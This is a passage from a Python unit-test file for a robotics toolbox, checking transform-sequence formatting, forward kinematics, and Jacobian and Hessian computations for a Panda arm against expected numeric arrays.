rtb.ET.SE3(SE3.Rx(1.0)) ets = rx * ry * rz * d ets2 = rx * a * b * c ets3 = d * e self.assertEqual(str(ets), "Rx(88.41°) ⊕ Ry(88.41°) ⊕ Rz(88.41°) ⊕ tx(1)") self.assertEqual(str(ets2), "Rx(88.41°) ⊕ Rx(q0) ⊕ Ry(q1) ⊕ Rz(q2)") self.assertEqual(str(ets3), "tx(1) ⊕ SE3(57.3°, -0°, 0°)") self.assertEqual( ets2.__str__(q="θ{0}"), "Rx(88.41°) ⊕ Rx(θ0) ⊕ Ry(θ1) ⊕ Rz(θ2)" ) def test_str_jindex(self): rx = rtb.ET.Rx(1.543) a = rtb.ET.Rx(jindex=2) b = rtb.ET.Ry(jindex=5) c = rtb.ET.Rz(jindex=7) ets = rx * a * b * c self.assertEqual(str(ets), "Rx(88.41°) ⊕ Rx(q2) ⊕ Ry(q5) ⊕ Rz(q7)") def test_str_flip(self): rx = rtb.ET.Rx(1.543) a = rtb.ET.Rx(jindex=2, flip=True) b = rtb.ET.Ry(jindex=5) c = rtb.ET.Rz(jindex=7) ets = rx * a * b * c self.assertEqual(str(ets), "Rx(88.41°) ⊕ Rx(-q2) ⊕ Ry(q5) ⊕ Rz(q7)") def test_str_sym(self): x = sympy.Symbol("x") rx = rtb.ET.Rx(x) a = rtb.ET.Rx(jindex=2) b = rtb.ET.Ry(jindex=5) c = rtb.ET.Rz(jindex=7) ets = rx * a * b * c self.assertEqual(str(ets), "Rx(x) ⊕ Rx(q2) ⊕ Ry(q5) ⊕ Rz(q7)") def ets_mul(self): rx = rtb.ET.Rx(1.543) ry = rtb.ET.Ry(1.543) rz = rtb.ET.Rz(1.543) a = rtb.ET.Rx() b = rtb.ET.Ry() ets1 = rx * ry ets2 = a * b self.assertIsInstance(ets1 * ets2, rtb.ETS) self.assertIsInstance(ets1 * rz, rtb.ETS) self.assertIsInstance(rz * ets1, rtb.ETS) self.assertIsInstance(ets1 + ets2, rtb.ETS) ets2 *= rz self.assertIsInstance(ets2, rtb.ETS) def test_n(self): rx = rtb.ET.Rx(1.543) ry = rtb.ET.Ry(1.543) rz = rtb.ET.Rz(1.543) a = rtb.ET.Rx() b = rtb.ET.Ry() ets1 = rx * ry ets2 = a * b ets3 = a * b * ry self.assertEqual(ets1.n, 0) self.assertEqual(ets2.n, 2) self.assertEqual(ets3.n, 2) self.assertEqual(ets1.structure, "") self.assertEqual(ets2.structure, "RR") def test_fkine(self): q = np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0]) rx = rtb.ET.Rx(1.543) ry = rtb.ET.Ry(1.543) rz = rtb.ET.Rz(1.543) tx = rtb.ET.tx(1.543) ty = rtb.ET.ty(1.543) tz = rtb.ET.tz(1.543) a = rtb.ET.Rx(jindex=0) b = rtb.ET.Ry(jindex=1) c = rtb.ET.Rz(jindex=2) d = rtb.ET.tx(jindex=3) e = rtb.ET.ty(jindex=4) f = rtb.ET.tz(jindex=5) r = rx * ry * rz * tx * ty * tz * a * b * c * d * e * f ans = ( SE3.Rx(1.543) * SE3.Ry(1.543) * SE3.Rz(1.543) * SE3.Tx(1.543) * SE3.Ty(1.543) * SE3.Tz(1.543) * SE3.Rx(q[0]) * SE3.Ry(q[1]) * SE3.Rz(q[2]) * SE3.Tx(q[3]) * SE3.Ty(q[4]) * SE3.Tz(q[5]) ) nt.assert_almost_equal(r.fkine(q), ans.A) def test_fkine_sym(self): x = sympy.Symbol("x") y = sympy.Symbol("y") z = sympy.Symbol("z") q = np.array([y, z]) qt = np.array([[1.0, y], [z, y], [x, 2.0]]) a = rtb.ET.Rx(x) b = rtb.ET.Ry(jindex=0) c = rtb.ET.tz(jindex=1) r = a * b * c ans1 = SE3.Rx(x) * SE3.Ry(q[0]) * SE3.Tz(q[1]) ans2 = SE3.Rx(x) * SE3.Ry(1.0) * SE3.Tz(y) ans3 = SE3.Rx(x) * SE3.Ry(z) * SE3.Tz(y) ans4 = SE3.Rx(x) * SE3.Ry(x) * SE3.Tz(2.0) fk_traj = r.fkine(qt) # print(fk_traj[0]) # print(fk_traj[1]) # print(fk_traj[2]) # print(ans4) nt.assert_almost_equal(r.fkine(q).A, ans1.A) nt.assert_almost_equal(fk_traj[0].A, ans2.A) nt.assert_almost_equal(fk_traj[1].A, ans3.A) nt.assert_almost_equal(fk_traj[2].A, sympy.simplify(ans4.A)) base = SE3.Rx(1.0) tool = SE3.Tz(0.5) ans5 = base * ans1 r2 = rtb.ETS([rtb.ET.Rx(jindex=0)]) nt.assert_almost_equal(r.fkine(q, base=base).A, sympy.simplify(ans5.A)) # nt.assert_almost_equal(r.fkine(q, base=base), ans5.A) # type: ignore q2 = [y] ans6 = SE3.Rx(y) * tool nt.assert_almost_equal(r2.fkine(q2, tool=tool).A, sympy.simplify(ans6.A)) # type: ignore # nt.assert_almost_equal(r2.fkine(q2, tool=tool), ans6) # type: ignore def test_jacob0_panda(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) r = l0 + l1 + l2 + l3 + l4 + l5 + l6 + ee q1 = np.array([1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9]) q2 = [1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9] q3 = np.expand_dims(q1, 0) q4 = np.expand_dims(q1, 1) ans = np.array( [ [ -1.61683957e-01, 1.07925929e-01, -3.41453006e-02, 3.35029257e-01, -1.07195463e-02, 1.03187865e-01, 0.00000000e00, ], [ 4.46822947e-01, 6.25741987e-01, 4.16474664e-01, -8.04745724e-02, 7.78257566e-02, -1.17720983e-02, 0.00000000e00, ], [ 0.00000000e00, -2.35276631e-01, -8.20187641e-02, -5.14076923e-01, -9.98040745e-03, -2.02626953e-01, 0.00000000e00, ], [ 1.29458954e-16, -9.85449730e-01, 3.37672585e-02, -6.16735653e-02, 6.68449878e-01, -1.35361558e-01, 6.37462344e-01, ], [ 9.07021273e-18, 1.69967143e-01, 1.95778638e-01, 9.79165111e-01, 1.84470262e-01, 9.82748279e-01, 1.83758244e-01, ], [ 1.00000000e00, -2.26036604e-17, 9.80066578e-01, -1.93473657e-01, 7.20517510e-01, -1.26028049e-01, 7.48247732e-01, ], ] ) nt.assert_array_almost_equal(r.jacob0(q1), ans) nt.assert_array_almost_equal(r.jacob0(q2), ans) nt.assert_array_almost_equal(r.jacob0(q3), ans) nt.assert_array_almost_equal(r.jacob0(q4), ans) self.assertRaises(TypeError, r.jacob0, "Wfgsrth") def test_jacobe_panda(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) r = l0 + l1 + l2 + l3 + l4 + l5 + l6 + ee q1 = np.array([1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9]) q2 = [1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9] q3 = np.expand_dims(q1, 0) q4 = np.expand_dims(q1, 1) ans = tr2jac(r.eval(q1).T) @ r.jacob0(q1) nt.assert_array_almost_equal(r.jacobe(q1), ans) def test_pop(self): q = [1.0, 2.0, 3.0] a = rtb.ET.Rx(jindex=0) b = rtb.ET.Ry(jindex=1) c = rtb.ET.Rz(jindex=2) d = rtb.ET.tz(1.543) ans1 = SE3.Rx(q[0]) * SE3.Ry(q[1]) * SE3.Rz(q[2]) * SE3.Tz(1.543) ans2 = SE3.Rx(q[0]) * SE3.Rz(q[2]) * SE3.Tz(1.543) ans3 = SE3.Rx(q[0]) * SE3.Rz(q[2]) r = a + b + c + d nt.assert_almost_equal(r.fkine(q), ans1.A) et = r.pop(1) nt.assert_almost_equal(r.fkine(q), ans2.A) nt.assert_almost_equal(et.A(q[1]), SE3.Ry(q[1]).A) et = r.pop() nt.assert_almost_equal(r.fkine(q), ans3.A) nt.assert_almost_equal(et.A(), SE3.Tz(1.543).A) def test_inv(self): q = [1.0, 2.0, 3.0] a = rtb.ET.Rx(jindex=0) b = rtb.ET.Ry(jindex=1) c = rtb.ET.Rz(jindex=2) d = rtb.ET.tz(1.543) ans1 = SE3.Rx(q[0]) * SE3.Ry(q[1]) * SE3.Rz(q[2]) * SE3.Tz(1.543) r = a + b + c + d r_inv = r.inv() nt.assert_almost_equal(r_inv.fkine(q), ans1.inv().A) def test_jointset(self): q = [1.0, 2.0, 3.0] a = rtb.ET.Rx(jindex=0) b = rtb.ET.Ry(jindex=1) c = rtb.ET.Rz(jindex=2) d = rtb.ET.tz(1.543) ans = set((0, 1, 2)) r = a + b + c + d nt.assert_equal(r.jindex_set(), ans) def test_split(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) segs = [l0, l1, l2, l3, l4, l5, l6, ee] segs3 = [l0, l1, l2, l3, l4, l5, l6, rtb.ETS([rtb.ET.Rx(0.5)])] r = l0 * l1 * l2 * l3 * l4 * l5 * l6 * ee r2 = l0 * l1 * l2 * l3 * l4 * l5 * l6 r3 = l0 * l1 * l2 * l3 * l4 * l5 * l6 * rtb.ET.Rx(0.5) split = r.split() split2 = r2.split() split3 = r3.split() for i, link in enumerate(segs): self.assertEqual(link, split[i]) for i, link in enumerate(split2): self.assertEqual(link, segs[i]) for i, link in enumerate(split3): self.assertEqual(link, segs3[i]) def test_compile(self): q = [0, 1.0, 2, 3, 4, 5, 6] deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) r = l0 * l1 * l2 * l3 * l4 * l5 * l6 * ee r2 = r.compile() nt.assert_almost_equal(r.eval(q), r2.eval(q)) self.assertTrue(len(r) > len(r2)) def test_insert(self): q = [1.0, 2, 3, 4, 5, 6] deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) r = l0 * l1 * l2 * l3 * l4 * l5 * l6 * ee r2 = l0 * l1 * l2 * l3 * l4 * l6 * ee r2.insert(l5, 14) r3 = l0 * l1 * l2 * l3 * l4 * l5 * l6 r3.insert(ee) r4 = l0 * l1 * l2 * l3 * l4 * l5 * l6 r4.insert(rtb.ET.tz(tool_offset)) r4.insert(rtb.ET.Rz(-np.pi / 4)) r5 = l0 * l1 * l2 * l3 * l4 * l6 * ee r5.insert(rtb.ET.Rx(90 * deg), 14) r5.insert(rtb.ET.Rz(jindex=5), 15) nt.assert_almost_equal(r.eval(q), r2.eval(q)) nt.assert_almost_equal(r.eval(q), r3.eval(q)) nt.assert_almost_equal(r.eval(q), r4.eval(q)) nt.assert_almost_equal(r.fkine(q).A, r5.fkine(q).A) def test_jacob0(self): q = [0] rx = rtb.ETS(rtb.ET.Rx()) ry = rtb.ETS(rtb.ET.Ry()) rz = rtb.ETS(rtb.ET.Rz()) tx = rtb.ETS(rtb.ET.tx()) ty = rtb.ETS(rtb.ET.ty()) tz = rtb.ETS(rtb.ET.tz()) r = tx + ty + tz + rx + ry + rz nt.assert_almost_equal(tx.jacob0(q), np.array([[1, 0, 0, 0, 0, 0]]).T) nt.assert_almost_equal(ty.jacob0(q), np.array([[0, 1, 0, 0, 0, 0]]).T) nt.assert_almost_equal(tz.jacob0(q), np.array([[0, 0, 1, 0, 0, 0]]).T) nt.assert_almost_equal(rx.jacob0(q), np.array([[0, 0, 0, 1, 0, 0]]).T) nt.assert_almost_equal(ry.jacob0(q), np.array([[0, 0, 0, 0, 1, 0]]).T) nt.assert_almost_equal(rz.jacob0(q), np.array([[0, 0, 0, 0, 0, 1]]).T) nt.assert_almost_equal(r.jacob0(q), np.eye(6)) def test_jacobe(self): q = [0] rx = rtb.ETS(rtb.ET.Rx()) ry = rtb.ETS(rtb.ET.Ry()) rz = rtb.ETS(rtb.ET.Rz()) tx = rtb.ETS(rtb.ET.tx()) ty = rtb.ETS(rtb.ET.ty()) tz = rtb.ETS(rtb.ET.tz()) r = tx + ty + tz + rx + ry + rz nt.assert_almost_equal(tx.jacobe(q), np.array([[1, 0, 0, 0, 0, 0]]).T) nt.assert_almost_equal(ty.jacobe(q), np.array([[0, 1, 0, 0, 0, 0]]).T) nt.assert_almost_equal(tz.jacobe(q), np.array([[0, 0, 1, 0, 0, 0]]).T) nt.assert_almost_equal(rx.jacobe(q), np.array([[0, 0, 0, 1, 0, 0]]).T) nt.assert_almost_equal(ry.jacobe(q), np.array([[0, 0, 0, 0, 1, 0]]).T) nt.assert_almost_equal(rz.jacobe(q), np.array([[0, 0, 0, 0, 0, 1]]).T) nt.assert_almost_equal(r.jacobe(q), np.eye(6)) def test_jacob0_sym(self): x = sympy.Symbol("x") q1 = np.array([x, x]) q2 = np.array([0, x]) rx = rtb.ETS(rtb.ET.Rx(jindex=0)) ry = rtb.ETS(rtb.ET.Ry(jindex=0)) rz = rtb.ETS(rtb.ET.Rz(jindex=0)) tx = rtb.ETS(rtb.ET.tx(jindex=0)) ty = rtb.ETS(rtb.ET.ty(jindex=0)) tz = rtb.ETS(rtb.ET.tz(jindex=1)) a = rtb.ETS(rtb.ET.SE3(np.eye(4))) r = tx + ty + tz + rx + ry + rz + a print(r.jacob0(q2)) nt.assert_almost_equal(tx.jacob0(q1), np.array([[1, 0, 0, 0, 0, 0]]).T) nt.assert_almost_equal(ty.jacob0(q1), np.array([[0, 1, 0, 0, 0, 0]]).T) nt.assert_almost_equal(tz.jacob0(q1), np.array([[0, 0, 1, 0, 0, 0]]).T) nt.assert_almost_equal(rx.jacob0(q1), np.array([[0, 0, 0, 1, 0, 0]]).T) nt.assert_almost_equal(ry.jacob0(q1), np.array([[0, 0, 0, 0, 1, 0]]).T) nt.assert_almost_equal(rz.jacob0(q1), np.array([[0, 0, 0, 0, 0, 1]]).T) nt.assert_almost_equal(r.jacob0(q2), np.eye(6)) nt.assert_almost_equal(r.jacob0(q2, tool=SE3()), np.eye(6)) nt.assert_almost_equal(r.jacob0(q2, tool=SE3().A), np.eye(6)) def test_jacobe_sym(self): x = sympy.Symbol("x") q1 = np.array([x, x]) q2 = np.array([0, x]) rx = rtb.ETS(rtb.ET.Rx(jindex=0)) ry = rtb.ETS(rtb.ET.Ry(jindex=0)) rz = rtb.ETS(rtb.ET.Rz(jindex=0)) tx = rtb.ETS(rtb.ET.tx(jindex=0)) ty = rtb.ETS(rtb.ET.ty(jindex=0)) tz = rtb.ETS(rtb.ET.tz(jindex=1)) a = rtb.ETS(rtb.ET.SE3(np.eye(4))) r = tx + ty + tz + rx + ry + rz + a print(r.jacobe(q2)) nt.assert_almost_equal(tx.jacobe(q1), np.array([[1, 0, 0, 0, 0, 0]]).T) nt.assert_almost_equal(ty.jacobe(q1), np.array([[0, 1, 0, 0, 0, 0]]).T) nt.assert_almost_equal(tz.jacobe(q1), np.array([[0, 0, 1, 0, 0, 0]]).T) nt.assert_almost_equal(rx.jacobe(q1), np.array([[0, 0, 0, 1, 0, 0]]).T) nt.assert_almost_equal(ry.jacobe(q1), np.array([[0, 0, 0, 0, 1, 0]]).T) nt.assert_almost_equal(rz.jacobe(q1), np.array([[0, 0, 0, 0, 0, 1]]).T) nt.assert_almost_equal(r.jacobe(q2), np.eye(6)) nt.assert_almost_equal(r.jacobe(q2, tool=SE3()), np.eye(6)) nt.assert_almost_equal(r.jacobe(q2, tool=SE3().A), np.eye(6)) def test_hessian0(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) r = l0 + l1 + l2 + l3 + l4 + l5 + l6 + ee q1 = np.array([1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9]) q2 = [1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9] q3 = np.expand_dims(q1, 0) q4 = np.expand_dims(q1, 1) ans = np.array( [ [ [ -4.46822947e-01, -6.25741987e-01, -4.16474664e-01, 8.04745724e-02, -7.78257566e-02, 1.17720983e-02, 0.00000000e00, ], [ -6.25741987e-01, -3.99892968e-02, -1.39404950e-02, -8.73761859e-02, -1.69634134e-03, -3.44399243e-02, 0.00000000e00, ], [ -4.16474664e-01, -1.39404950e-02, -4.24230421e-01, -2.17748413e-02, -7.82283735e-02, -2.81325889e-02, 0.00000000e00, ], [ 8.04745724e-02, -8.73761859e-02, -2.17748413e-02, -5.18935898e-01, 5.28476698e-03, -2.00682834e-01, 0.00000000e00, ], [ -7.78257566e-02, -1.69634134e-03, -7.82283735e-02, 5.28476698e-03, -5.79159088e-02, -2.88966443e-02, 0.00000000e00, ], [ 1.17720983e-02, -3.44399243e-02, -2.81325889e-02, -2.00682834e-01, -2.88966443e-02, -2.00614904e-01, 0.00000000e00, ], [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], ], [ [ -1.61683957e-01, 1.07925929e-01, -3.41453006e-02, 3.35029257e-01, -1.07195463e-02, 1.03187865e-01, 0.00000000e00, ], [ 1.07925929e-01, -2.31853293e-01, -8.08253690e-02, -5.06596965e-01, -9.83518983e-03, -1.99678676e-01, 0.00000000e00, ], [ -3.41453006e-02, -8.08253690e-02, -3.06951191e-02, 3.45709946e-01, -1.01688580e-02, 1.07973135e-01, 0.00000000e00, ], [ 3.35029257e-01, -5.06596965e-01, 3.45709946e-01, -9.65242924e-02, 1.45842251e-03, -3.24608603e-02, 0.00000000e00, ], [ -1.07195463e-02, -9.83518983e-03, -1.01688580e-02, 1.45842251e-03, -1.05221866e-03, 2.09794626e-01, 0.00000000e00, ], [ 1.03187865e-01, -1.99678676e-01, 1.07973135e-01, -3.24608603e-02, 2.09794626e-01, -4.04324654e-02, 0.00000000e00, ], [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], ], [ [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], [ 0.00000000e00, -6.34981134e-01, -4.04611266e-01, 2.23596800e-02, -7.48714002e-02, -5.93773551e-03, 0.00000000e00, ], [ 0.00000000e00, -4.04611266e-01, 2.07481281e-02, -6.83089775e-02, 4.72662062e-03, -2.05994912e-02, 0.00000000e00, ], [ 0.00000000e00, 2.23596800e-02, -6.83089775e-02, -3.23085806e-01, 5.69641385e-03, -1.00311930e-01, 0.00000000e00, ], [ 0.00000000e00, -7.48714002e-02, 4.72662062e-03, 5.69641385e-03, 5.40000550e-02, -2.69041502e-02, 0.00000000e00, ], [ 0.00000000e00, -5.93773551e-03, -2.05994912e-02, -1.00311930e-01, -2.69041502e-02, -9.98142073e-02, 0.00000000e00, ], [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], ], [ [ -9.07021273e-18, -2.77555756e-17, -2.77555756e-17, -1.11022302e-16, -2.77555756e-17, 0.00000000e00, -2.77555756e-17, ], [ -1.69967143e-01, -1.97756387e-17, 4.11786040e-17, -1.48932398e-16, -5.07612940e-17, -8.38219650e-17, -4.90138154e-17, ], [ -1.95778638e-01, 1.66579116e-01, -1.38777878e-17, 1.04083409e-17, -1.38777878e-17, 3.46944695e-18, 0.00000000e00, ], [ -9.79165111e-01, -3.28841647e-02, -9.97525009e-01, -4.16333634e-17, -1.14491749e-16, 1.38777878e-17, -6.24500451e-17, ], [ -1.84470262e-01, 1.22464303e-01, -3.97312016e-02, 7.41195745e-01, -2.77555756e-17, 1.12757026e-16, 2.77555756e-17, ], [ -9.82748279e-01, -2.14206274e-02, -9.87832342e-01, 6.67336352e-02, -7.31335770e-01, 2.08166817e-17, -6.07153217e-17, ], [ -1.83758244e-01, 1.27177529e-01, -3.36043908e-02, 7.68210453e-01, 5.62842325e-03, 7.58497864e-01, 0.00000000e00, ], ], [ [ 1.29458954e-16, -1.11022302e-16, 8.67361738e-17, -4.16333634e-17, 5.55111512e-17, 2.77555756e-17, 5.55111512e-17, ], [ -9.85449730e-01, -6.36381327e-17, -1.02735399e-16, -1.83043043e-17, -5.63484308e-17, 8.08886307e-18, 1.07112702e-18, ], [ 3.37672585e-02, 9.65806345e-01, 8.32667268e-17, -2.55871713e-17, 1.07552856e-16, 2.08166817e-17, -5.20417043e-18, ], [ -6.16735653e-02, -1.90658563e-01, -5.39111251e-02, -6.59194921e-17, -2.77555756e-17, 2.38524478e-17, -4.16333634e-17, ], [ 6.68449878e-01, 7.10033786e-01, 6.30795483e-01, -8.48905588e-02, 0.00000000e00, 3.46944695e-17, 2.77555756e-17, ], [ -1.35361558e-01, -1.24194307e-01, -1.28407717e-01, 1.84162966e-02, -1.32869389e-02, 2.77555756e-17, -2.08166817e-17, ], [ 6.37462344e-01, 7.37360525e-01, 5.99489263e-01, -7.71850655e-02, -4.08633244e-02, 2.09458434e-02, 0.00000000e00, ], ], [ [ 0.00000000e00, -6.59521910e-17, -1.31033786e-16, -1.92457571e-16, 1.54134782e-17, -7.69804929e-17, 1.11140361e-17, ], [ 0.00000000e00, -2.77555756e-17, 7.15573434e-17, 1.65666092e-16, 1.38777878e-17, -8.67361738e-18, 3.46944695e-17, ], [ 0.00000000e00, -1.98669331e-01, 8.67361738e-18, -1.46584134e-16, 6.02816408e-17, -3.12250226e-17, 6.11490025e-17, ], [ 0.00000000e00, -9.54435515e-01, 4.51380881e-02, 1.38777878e-17, 1.08420217e-16, 3.46944695e-18, 6.24500451e-17, ], [ 0.00000000e00, -2.95400686e-01, -1.24639152e-01, -6.65899738e-01, -4.85722573e-17, -5.20417043e-18, -5.55111512e-17, ], [ 0.00000000e00, -9.45442009e-01, 5.96856167e-02, 7.19317248e-02, 6.81888149e-01, -2.77555756e-17, 1.04083409e-17, ], [ 0.00000000e00, -2.89432165e-01, -1.18596498e-01, -6.35513913e-01, 5.24032975e-03, -6.51338823e-01, 0.00000000e00, ], ], ] ) ans_new = np.empty((7, 6, 7)) for i in range(7): ans_new[i, :, :] = ans[:, :, i] J = r.jacob0(q1) nt.assert_array_almost_equal(r.hessian0(q1), ans_new) nt.assert_array_almost_equal(r.hessian0(q2), ans_new) nt.assert_array_almost_equal(r.hessian0(q3), ans_new) nt.assert_array_almost_equal(r.hessian0(q4), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) nt.assert_array_almost_equal(r.hessian0(J0=J), ans_new) def test_hessian0_tool(self): deg = np.pi / 180 mm = 1e-3 tool_offset = (103) * mm l0 = rtb.ET.tz(0.333) * rtb.ET.Rz(jindex=0) l1 = rtb.ET.Rx(-90 * deg) * rtb.ET.Rz(jindex=1) l2 = rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.316) * rtb.ET.Rz(jindex=2) l3 = rtb.ET.tx(0.0825) * rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=3) l4 = ( rtb.ET.tx(-0.0825) * rtb.ET.Rx(-90 * deg) * rtb.ET.tz(0.384) * rtb.ET.Rz(jindex=4) ) l5 = rtb.ET.Rx(90 * deg) * rtb.ET.Rz(jindex=5) l6 = ( rtb.ET.tx(0.088) * rtb.ET.Rx(90 * deg) * rtb.ET.tz(0.107) * rtb.ET.Rz(jindex=6) ) ee = rtb.ET.tz(tool_offset) * rtb.ET.Rz(-np.pi / 4) ee = ee.fkine([]) r = l0 + l1 + l2 + l3 + l4 + l5 + l6 q1 = np.array([1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9]) q2 = [1.4, 0.2, 1.8, 0.7, 0.1, 3.1, 2.9] q3 = np.expand_dims(q1, 0) q4 = np.expand_dims(q1, 1) ans = np.array( [ [ [ -4.46822947e-01, -6.25741987e-01, -4.16474664e-01, 8.04745724e-02, -7.78257566e-02, 1.17720983e-02, 0.00000000e00, ], [ -6.25741987e-01, -3.99892968e-02, -1.39404950e-02, -8.73761859e-02, -1.69634134e-03, -3.44399243e-02, 0.00000000e00, ], [ -4.16474664e-01, -1.39404950e-02, -4.24230421e-01, -2.17748413e-02, -7.82283735e-02, -2.81325889e-02, 0.00000000e00, ], [ 8.04745724e-02, -8.73761859e-02, -2.17748413e-02, -5.18935898e-01, 5.28476698e-03, -2.00682834e-01, 0.00000000e00, ], [ -7.78257566e-02, -1.69634134e-03, -7.82283735e-02, 5.28476698e-03, -5.79159088e-02, -2.88966443e-02, 0.00000000e00, ], [ 1.17720983e-02, -3.44399243e-02, -2.81325889e-02, -2.00682834e-01, -2.88966443e-02, -2.00614904e-01, 0.00000000e00, ], [ 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, 0.00000000e00, ], ], [ [ -1.61683957e-01, 1.07925929e-01, -3.41453006e-02, 3.35029257e-01, -1.07195463e-02, 1.03187865e-01, 0.00000000e00, ], [ 1.07925929e-01, -2.31853293e-01, -8.08253690e-02, -5.06596965e-01, -9.83518983e-03, -1.99678676e-01, 0.00000000e00, ], [ -3.41453006e-02, -8.08253690e-02, -3.06951191e-02, 3.45709946e-01, -1.01688580e-02, 1.07973135e-01, 0.00000000e00, ], [ 3.35029257e-01, -5.06596965e-01, 3.45709946e-01, 